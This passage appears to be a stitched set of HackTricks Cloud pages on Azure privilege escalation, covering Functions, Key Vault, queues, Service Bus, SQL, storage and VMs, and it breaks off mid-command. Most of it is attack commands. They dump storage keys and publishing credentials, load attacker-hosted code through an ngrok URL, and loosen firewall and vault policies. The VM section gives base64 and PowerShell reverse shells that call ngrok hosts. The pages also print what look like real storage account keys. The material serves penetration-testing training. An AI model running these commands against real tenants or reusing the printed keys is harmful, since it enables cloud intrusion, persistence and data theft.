az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
This permission allows to get the settings of a function. Inside these configurations it might be possible to find the default values **`AzureWebJobsStorage`** or **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** which contains an **account key to access the blob storage of the function with FULL permissions**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Moreover, this permission also allows to get the **SCM username and password** (if enabled) with:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
These permissions allows to list the config values of a function as we have seen before plus **modify these values**. This is useful because these settings indicate where the code to execute inside the function is located.&#x20;
It's therefore possible to set the value of the setting **`WEBSITE_RUN_FROM_PACKAGE`** pointing to an URL zip file containing the new code to execute inside a web application:
- Start by getting the current config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Create the code you want the function to run and host it publicly
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Modify the function, keep the previous parameters and add at the end the config **`WEBSITE_RUN_FROM_PACKAGE`** pointing to the URL with the **zip** containing the code.
The following is an example of my **own settings you will need to change the values for yours**, note at the end the values `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , this is where I was hosting the app.
```bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### Microsoft.Web/sites/hostruntime/vfs/write
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```
Another option would be to set you own creds and use them using:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- If **REDACTED** credentials
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **Method SCM**
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
- **Method FTP**
Connect to the FTP server using:
```bash
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
This permission allows to **read the source code** of the app through the VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### Microsoft.Web/sites/functions/token/action
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
```bash
# Get admin token
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
--headers '{"Content-Type": "application/json"}' \
--debug
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
This permissions allows to **enable functions** that might be disabled (or disable them).
```bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
It's possible to check if a Function has debugging enabled with:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Change Github repo
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
```bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,34 @@
# Az - Key Vault Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Key Vault
For more information about this service check:
{{#ref}}
../az-services/keyvault.md
{{#endref}}
### Microsoft.KeyVault/vaults/write
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
```bash
# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>
# Get current principal ID
az ad signed-in-user show --query id --output tsv
# Assign all permissions
az keyvault set-policy \
--name <vault-name> \
--object-id <your-object-id> \
--key-permissions all \
--secret-permissions all \
--certificate-permissions all \
--storage-permissions all
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,73 @@
# Az - Queue Storage Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Queue
For more information check:
{{#ref}}
../az-services/az-queue-enum.md
{{#endref}}
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
```bash
az storage message peek --queue-name <queue_name> --account-name <storage_account>
```
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
```bash
az storage message get --queue-name <queue_name> --account-name <storage_account>
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
#Update the message
az storage message update --queue-name <queue-name> \
--id <message-id> \
--pop-receipt <pop-receipt> \
--content "Updated message content" \
--visibility-timeout <timeout-in-seconds> \
--account-name <storage-account>
```
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
```
## References
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,154 @@
# Az - Service Bus Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Service Bus
For more information check:
{{#ref}}
../az-services/az-servicebus-enum.md
{{#endref}}
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
```python
#You need to install the following libraries
#pip install azure-servicebus
#pip install aiohttp
#pip install azure-identity
import asyncio
from azure.servicebus.aio import ServiceBusClient
from azure.servicebus import ServiceBusMessage
# Constants
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_NAME = "<TOPIC_NAME>"
# Function to send a single message to a Service Bus topic
async def send_individual_message(publisher):
# Prepare a single message with updated content
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
# Send the message to the topic
await publisher.send_messages(single_message)
print("Sent a single message containing 'Hacktricks-Training'")
# Function to send multiple messages to a Service Bus topic
async def send_multiple_messages(publisher):
# Generate a collection of messages with updated content
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
# Send the entire collection of messages to the topic
await publisher.send_messages(message_list)
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
# Function to send a grouped batch of messages to a Service Bus topic
async def send_grouped_messages(publisher):
# Send a grouped batch of messages with updated content
async with publisher:
grouped_message_batch = await publisher.create_message_batch()
for i in range(10):
try:
# Append a message to the batch with updated content
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
except ValueError:
# If batch reaches its size limit, handle by creating another batch
break
# Dispatch the batch of messages to the topic
await publisher.send_messages(grouped_message_batch)
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
# Main function to execute all tasks
async def execute():
# Instantiate the Service Bus client with the connection string
async with ServiceBusClient.from_connection_string(
conn_str=NAMESPACE_CONNECTION_STR,
logging_enable=True) as sb_client:
# Create a topic sender for dispatching messages to the topic
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
async with publisher:
# Send a single message
await send_individual_message(publisher)
# Send multiple messages
await send_multiple_messages(publisher)
# Send a batch of messages
await send_grouped_messages(publisher)
# Run the asynchronous execution
asyncio.run(execute())
print("Messages Sent")
print("----------------------------")
```
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
```python
#You need to install the following libraries
#pip install azure-servicebus
#pip install aiohttp
#pip install azure-identity
import asyncio
from azure.servicebus.aio import ServiceBusClient
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
TOPIC_NAME = "<TOPIC_NAME>"
SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
# Function to receive and process messages from a Service Bus subscription
async def receive_and_process_messages():
# Create a Service Bus client using the connection string
async with ServiceBusClient.from_connection_string(
conn_str=NAMESPACE_CONNECTION_STR,
logging_enable=True) as servicebus_client:
# Get the Subscription Receiver object for the specified topic and subscription
receiver = servicebus_client.get_subscription_receiver(
topic_name=TOPIC_NAME,
subscription_name=SUBSCRIPTION_NAME,
max_wait_time=5
)
async with receiver:
# Receive messages with a defined maximum wait time and count
received_msgs = await receiver.receive_messages(
max_wait_time=5,
max_message_count=20
)
for msg in received_msgs:
print("Received: " + str(msg))
# Complete the message to remove it from the subscription
await receiver.complete_message(msg)
# Run the asynchronous message processing function
asyncio.run(receive_and_process_messages())
print("Message Receiving Completed")
print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
--namespace-name <MyNamespace> \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
```
## References
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,111 @@
# Az - SQL Database Privesc
{{#include ../../../banners/hacktricks-training.md}}
## SQL Database Privesc
For more information about SQL Database check:
{{#ref}}
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
```bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_password>
```
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
```bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
```
### "Microsoft.Sql/servers/firewallRules/write"
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
NOTE: It is necesary to have the public access enabled
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
```bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
NOTE: It is necesary to have the public access enabled
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
```bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
```bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,152 @@
# Az - Storage Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Storage Privesc
For more information about storage check:
{{#ref}}
../az-services/az-storage.md
{{#endref}}
### Microsoft.Storage/storageAccounts/listkeys/action
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
### Microsoft.Storage/storageAccounts/write
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
```bash
# e.g. set default action to allow so network restrictions are avoided
az storage account update --name <acc-name> --default-action Allow
# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
```
## Blobs Specific privesc
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
The first permission allows to **modify immutability policies** in containers and the second to delete them.
> [!NOTE]
> Note that if an immutability policy is in lock state, you cannot do neither of both
```bash
az storage container immutability-policy delete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP>
az storage container immutability-policy update \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>
```
## File shares specific privesc
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the users permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME> \
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
--home-directory <HOME_DIRECTORY> \
--has-ssh-key false/true # Depends on the auth method to use
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
```
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
```bash
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password
```
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
```bash
#Restore the soft deleted container
az storage container restore \
--account-name <STORAGE_ACCOUNT_NAME> \
--name <CONTAINER_NAME> \
--deleted-version <VERSION>
#Restore the soft deleted blob
az storage blob undelete \
--account-name <STORAGE_ACCOUNT_NAME> \
--container-name <CONTAINER_NAME> \
--name "fileName.txt"
```
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>
```
## Other interesting looking permissions (TODO)
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
## References
- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/storage#microsoftstorage)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,382 @@
# Az - Virtual Machines & Network Privesc
{{#include ../../../banners/hacktricks-training.md}}
## VMS & Network
For more info about Azure Virtual Machines and Network check:
{{#ref}}
../az-services/vms/
{{#endref}}
### **`Microsoft.Compute/virtualMachines/extensions/write`**
This permission allows to execute extensions in virtual machines which allow to **execute arbitrary code on them**.\
Example abusing custom extensions to execute arbitrary commands in a VM:
{{#tabs }}
{{#tab name="Linux" }}
- Execute a revers shell
```bash
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- Execute a script located on the internet
```bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
```
{{#endtab }}
{{#tab name="Windows" }}
- Execute a reverse shell
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
